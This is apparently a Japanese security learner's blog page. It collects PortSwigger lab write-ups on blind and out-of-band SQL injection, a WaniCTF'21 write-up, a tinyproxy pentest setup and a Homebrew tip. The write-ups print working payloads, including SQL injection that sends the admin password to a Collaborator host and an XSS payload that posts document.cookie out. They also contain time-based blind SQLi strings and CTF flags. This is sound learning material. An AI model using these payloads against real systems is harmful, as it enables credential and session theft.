shinobe179の日記

@shinobe179 の技術メモ・やらかし録

Blind SQL injection with out-of-band data exfiltration

はじめに

「Blind SQL injection with out-of-band data exfiltration」のWriteupです。

portswigger.net

Summary

|| による文字列連結などを使って、データベースから送信されるトラフィックに機密情報を載せる手法です。 前回同様ですが、CookieもURLエンコードが必要とのことで、CyberChefを使ったもののうまくいきませんでした。必要最低限のエンコードに留めなければならないんでしょうか?要確認です。

gchq.github.io

Writeup

今回の目的は、サイトにadministratorとしてログインすることです。

前回と同様の手法でデータベースとCollaboratorの疎通確認をした後、administratorのパスワードを取得するSELECT文を含んだSQLクエリ、を含んだリクエストを送信します。

TrackingId=p2GScen314boOmL7'+UNION+SELECT+extractvalue(xmltype('<%3Fxml+version%3D"1.0"+encoding%3D"UTF-8"%3F><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3A//'||(SELECT+password+FROM+users+WHERE+username+%3d+'administrator')||'.WHAT-YOU-ARE-ISSUED.burpcollaborator.net/">+%25remote%3B]'),'/l')+FROM+dual--+;

f:id:befs_anne:20210630014044p:plain

すると、Collaboratorのサブドメインにパスワードらしき文字列が含まれています。

f:id:befs_anne:20210630014102p:plain

ログインできました。

f:id:befs_anne:20210630014128p:plain

tinyproxyを使って、IPアドレス制限がかかったリモート環境にアクセスする

はじめに

tinyproxyという簡易フォワードプロキシのインストールから設定、実際の利用までの流れを紹介します。

tinyproxy.github.io

必要になった経緯

AWS上に構築された、IP制限がかかった環境に対して脆弱性診断をする機会がありました。Kali LinuxIPアドレス(EIP)は事前の申請によって通信を許可されていて、CLIツールでの診断は一通り済ませていましたが、Burp SuiteのようなGUIツールをリモートデスクトップで操作するのはつらいです。

そこで、Kali Linuxにtinyproxyをインストールしてプロキシ化することで、IPアドレスを許可されていないローカル環境からも診断できるようにしました。以下のような感じです。

AWS上に構築された環境に対する脆弱性診断については禁止事項などの取り決めがありますが、ここでは割愛します。各自ご確認ください。

f:id:befs_anne:20210629013915j:plain

方法

インストール

sudo apt install tinyproxy

設定ファイルの修正

設定ファイルは /etc/tinyproxy/tinyproxy.conf です。以下の箇所を編集しました。

  • リッスンポートの設定: Port 8888
  • 接続元IPアドレスの設定: Allow X.X.X.X/X
  • ベーシック認証の設定: BasicAuth User Password

セキュリティグループでの許可も忘れずに!

起動

sudo systemctl start tinyproxy

エラーで立ち上がらなかった場合、 journalctlsystemctl status tinyproxy で閲覧できるログで理由を確認できます。設定ファイルの内容に問題がある場合は、行数まで示してくれるみたいです。

接続

PCのプロキシ設定なりFoxyProxyなりの設定を変更して、ブラウザ経由でアクセスできるか確認しましょう。Burp Proxy越しにアクセスする場合は、Upstream Proxyに設定しましょう。やり方メモってた3年前の私えらい。

befs-anne.hatenablog.com

さいごに

tinyproxyを使った簡易なプロキシ構築手順を紹介しました。ベーシック認証が心許ないので、クライアント証明書などが使えると嬉しいです。

Blind SQL injection with out-of-band interaction

はじめに

「Blind SQL injection with out-of-band interaction」のWriteupです。Web Security Academy関連の最後の投稿から2ヶ月弱ほど間が空いてしまいました。

こんな手法があるのかーという驚きもさることながら、PortSwiggerがこの手法を検査するための仕組み(=Burp Collaborator、後述)を用意してくれていることにもっとびっくりです。

portswigger.net

Summary

クエリによってDNS問い合わせなどの外部との通信を発生させて、それが発生したか否かによって間接的にデータベースの挙動を把握する、という手法です。 pg_sleep() などを使った、遅延の有無による挙動把握の別バージョンと言えます。

Burp Suiteでは、Burp Collaboratorを使うことで外部通信を受け取れます。Burp Collaboratorは、PortSwiggerが提供しているインフラを使って、HTTP(S)やDNSなどのパケットを受信するためのホストを作成・使用します。Burp Suiteに内蔵されているBurp Collaborator clientを使うことで、ホスト名の取得やパケット受信状況のポーリングなどを行えます。

portswigger.net

Writeup

目的は、データベースからDNS問い合わせを発生させることです。

まずBurp Collaboratorのペイロードを生成します。Collaborator clientの「Copy to clipboard」をクリックすると、「xxxxxxxxx.burpcollaborator.net」というFQDNが生成されます。このFQDNに対してcurlすると、テーブルにDNSとHTTPの列が出てきました。

f:id:befs_anne:20210629004501p:plain

肝心の問題については、SQL Cheat Sheetを参考に色々クエリを投げてみたのですがよく分からず、最終的にはSolutionを確認しました。なるほどUNION SELECT……。 '; SELECT... (複文、と言うんだったでしょうか) や ' || SELECT... で繋げるばかりで忘れていました。

TrackingId=TRACKINGID'+UNION+SELECT+extractvalue(xmltype('<%3fxml+version%3d"1.0"+encoding%3d"UTF-8"%3f><!DOCTYPE+root+[+<!ENTITY+%25+remote+SYSTEM+"http%3a//WHAT-YOU-ARE-ISSUED.burpcollaborator.net/">+%25remote%3b]>'),'/l')+FROM+dual--+;

※どの文字をURLエンコードしてどの文字が必要ないのかがちゃんと理解できていない。

f:id:befs_anne:20210629004610p:plain

Burp Repeaterでリクエストを投げるだけではSolvedになりませんでしたが、ブラウザを更新すると表示されました。

f:id:befs_anne:20210629004254p:plain

Homebrewのoutdatedなパッケージの数をログイン時に表示する

はじめに

パッケージ管理してますか?(挨拶)

自動アップデートするのも、 .bashrcbrew outdated | wc -l などと書いて毎ログイン一瞬硬直するのも嫌だったので、 /etc/motd を使ってひと工夫することにしました。

手順

/etc/motd を作る

/etc/motd がない前提です。

$ sudo touch /etc/motd
$ sudo chown ${USER}:staff /etc/motd
$ sudo chmod 644 /etc/motd

スクリプトを準備する

${HOME}/.local/bin/brew-outdated-packages.sh として以下のシェルスクリプトを作成しました。

#!/bin/bash

OutdatedPackagesNumber=$(brew outdated | wc -l)
echo "🍺 Outdated brew packages: ${OutdatedPackagesNumber}" > /etc/motd

cronを設定する

crontab -e で以下の内容を入力し、保存します。時間は任意です。

0 2 * * * brew update && /Users/{{ユーザー名}}/.local/bin/brew-outdated-packages.sh 2>/tmp/brew-outdated-packages-error_$(date +%Y%m%d_%H%M%S)

これで毎晩2時時点のoutdatedなパッケージの数が /etc/motd に書き込まれます。ログイン時は /etc/motd を表示するだけなので硬直はありません。別に /etc/motd である必要はなくて、別のファイルに書き出して .bashrc でそのファイルを cat するんでもよさそうです。

追記

brew udpate もcronで自動実行しないといけないんでした。追記しました。

SQL injection attack, listing the database contents on Oracle

はじめに

SQL injection attack, listing the database contents on Oracle」のWriteupです。

portswigger.net

Summary

  • Oracleにおける information.schema 相当のテーブル
    • information_schema.tables : ALL_TABLES
    • information_schema.columns : ALL_TAB_COLUMNS

以下のドキュメントでは「静的データディクショナリビュー」のひとつとして紹介されています。

docs.oracle.com

Writeup

今回の目的は、administratorとしてサイトにログインすることです。前回同様、テーブル名とカラム名の提示はありません。

列数、それぞれの型は前回と同じだろうという見立てのもと、横着して ALL_TABLES の確認から始めます。 USERS_WLTIJK というテーブルがあることが分かりました。

f:id:befs_anne:20210425084250p:plain

次はカラム名を確認するために、 ALL_TAB_COLUMNS を確認します。 USERNAME_POPCKPPASSWORD_ZCWMZO でした。

f:id:befs_anne:20210425084323p:plain f:id:befs_anne:20210425084350p:plain

あとはそれぞれのカラムの値を USERS_WLTIJK テーブルから取得します。

f:id:befs_anne:20210425084422p:plain

ログインできました。

f:id:befs_anne:20210425084505p:plain

WaniCTF'21-spring Writeup

はじめに

「WaniCTF'21-spring」の解けたやつだけWriteupです。久しぶりのCTF、Web問をたくさん解けました。徳丸本(基礎試験合格含む)、PortSwiggerのWeb Security Academyでコツコツ勉強してきた成果が出てすごく嬉しいです。

wanictf.org

Crypto

Simple conversion

コード内で int.from_bytes() が使われていたので、 to_bytes() 的なものを使ってREPLでガチャガチャやってたら解けました。

$ python
Python 3.9.1 (default, Feb 11 2021, 14:36:18) 
[Clang 12.0.0 (clang-1200.0.32.2)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> 
>>> a = open("output.txt").read()
>>> a
'709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229\n'
>>> a = int(a)
>>> 
>>> a
709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229
>>> 
>>> b = str(a)
>>> b
'709088550902439876921359662969011490817828244100611994507393920171782905026859712405088781429996152122943882490614543229'
>>> 
>>> len(b)
120
>>> 
>>> a.to_bytes(120, "big")
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00FLAG{7h1s_i5_h0w_we_c0nvert_m3ss@ges_1nt0_num63rs}'
>>>

Forensics

presentation

.ppsx形式のファイルは、最初からスライドショー形式で起動するようです。Keynoteで開いて ESC か何かを押したら編集画面に遷移したのであとはよしなに。

secure document

この問題で「AutoHotKey」というものを知りました。キー操作を自動化するためのスクリプトエンジンだそうです。問題ファイルにスクリプトファイルが同梱されていました。以下のスクリプトが動いている状態で the password for today is nani と入力した時に出力される文字列が、同梱されているZipファイルのパスワードのようです。

::the::       ;「the」とタイプしてスペースを押すと実行される、以下同様
Send, +wani   ;「+」はShiftキー
return

::password::
Send, +c+t+f
return

::for::
Send, {home}{right 3}{del}1{end}{left 2}{del}7
return

::today::
FormatTime , x,, yyyyMMdd       ;YYYYMMDD形式の日時情報を変数xに格納する
SendInput, {home}{right 4}_%x%  ;「%x%」で変数x読み出し
return

::is::
Send, _{end}{!}{!}{left}
return

:*?:ni:: ;スペースを入力しなくても「ni」をタイプした時点で即実行される
Send, ^a^c{Esc}{home}password{:} {end}
return

WindowsAutoHotKeyをインストールして実際に試したところ、 password: Wan1_20210502_C7F!na! という文字列が生成されました。日付をZipファイル名に付いている 20210428 に変えるのはいいとして、先頭の password: がパスワードに含まれないのはちょっと納得できません。

Misc

binary

sapmle.py に復号アルゴリズムが載っていたので、output.csvを加工して配列にしてそのまま使いました。最後に消すつもりだったものが残ってしまったのか、はたまた難易度を下げるためにあえて残したのか……。

Git Master

イメージをpullしてrunし、 docker exec -it CONTAINER_ID /bin/bash してコンテナのシェルを起動します。gitコマンドをインストールした後、 git loggit reset --hard HEAD^ でコミットを遡りながら html/Flag.txt の内容を確認し、いくつかの差分を繋ぎ合わせたらflagになりました。

Pwn

01 netcat

nc したらシェルに繋がって、 flag.txt を開くだけでした。

Web

fake

いっぱいボタンがあったので、開発者ツールで流し見してたらたまたま href 属性があるリンクを見つけました。

Wani Request 1

Burp Collaboratorでリクエストを受信しました。 RefererAPI GatewayのURLが入っていたので、アクセスしたらflagでした。

exception

hello.py を読むに「リクエストボディがない」「 リクエストボディ内に name がない」ケースのハンドリングがそれぞれできていて、これら以外の事象が発生すると例外処理で500エラーと共にflagをレスポンスする作りになっています。リクエストをBurpでプロキシして以下のように書き換えたら、500エラーが発生しました(値は別に1つだけでもよかったみたいです)。

{
  "name":123,
  "name":123
}

watch animal

まず、以下のペイロードでレスポンスが10秒遅延することを確認しました。Blind SQL injectionできます。

email='OR(''='&password=')||(SELECT+IF(1=1,sleep(10),'a'))--+

Burp Intruderを使って、以下のようなペイロードでパスワードが15文字であることを確認しました。

email='OR(''='&password=')||(SELECT+IF(LENGTH(password)>1,sleep(10),NULL)+FROM+users+WHERE+email='wanictf21spring@gmail.com')--+

同じくBurp Intruderで、以下のようなペイロード( SUBSTRING の第2引数と比較する文字列を可変にし、IntruderのCluster bombモードを使用)でパスワード(=flag)を特定しました。

email='OR(''='&password=')||(SELECT+IF(SUBSTRING(password,1,1)='F',sleep(10),NULL)+FROM+users+WHERE+email='wanictf21spring@gmail.com')--+

いつもは email のほうでクエリを完結させてそれ以降はコメントアウトして無効化していますが、email の入力欄の最大文字数が32文字と厳しかったです。 password は最大128文字まで許容されていたので、やりたいことは password のほうでやって、 email やAND条件がクエリ内で意味をなさないようにしました(以下クエリ例、太字が入力)。

SELECT * from users WHERE email = '' OR ('' = '' AND password = '') || ...

CloudFront Basic Auth

exceptionと同じ要領で例外を起こしたところ、エラーレスポンスの中に domainName としてAPI GatewayFQDNが含まれていました。 SAMのテンプレートを参考に https://${APIID}.execute-api.${AWS::Region}.amazonaws.com/Prod/admin にアクセスしたところ、ベーシック認証をバイパスしてflagが表示されました。ちゃんと守るなら、CloudFrontでカスタムヘッダーを挿入して、API Gateway側でヘッダーの有無を検証する必要があります。

Wani Request 2(partial)

Page1だけ解けたので一応……。以下を wani というクエリパラメータとして持つPage1にアクセスすると、クッキーを窃視できます。

<img+src=1+onerror=fetch("XXXXXXXXXXXXXXXXXX.burpcollaborator.net",{method:"POST",mode:"no-cors",body:document.cookie})>

SQL injection attack, listing the database contents on non-Oracle databases

はじめに

SQL injection attack, listing the database contents on non-Oracle databases」のWriteupです。

portswigger.net

Summary

  • Oracleを除くデータベースでは、全テーブルやそれらの列に関する情報が information_schema というデータベースに集約されている
  • SQLインジェクションを使ってこのデータベースを覗くことで、本来の目的達成に必要な情報を得られる

Writeup

今回の目的は、administratorとしてサイトにログインすることです。これまではテーブル名やカラム名が事前に提示されていましたが、今回それがありませんでした。 information_schema テーブルを覗く必要があるのだろうと推測できます。

列数確認。3でエラーが出たので2列です。

f:id:befs_anne:20210425015058p:plain

各列の型確認。どちちらも文字列のようです。

f:id:befs_anne:20210425015125p:plain

information_schema.tablestable_name を確認します。

f:id:befs_anne:20210425015009p:plain

users_ejvktj というテーブルがあることが分かりました。

f:id:befs_anne:20210425015158p:plain

次はカラム名を確認するために、 information_schema.columns を確認します。 username_idkdewpassword_cfrdue というカラムがあることが分かりました。

f:id:befs_anne:20210425015238p:plain f:id:befs_anne:20210425015256p:plain

あとはそれぞれのカラムの値を users_ejvktj テーブルから取得すればOKです。

f:id:befs_anne:20210425015325p:plain

ログインできました。

f:id:befs_anne:20210425015350p:plain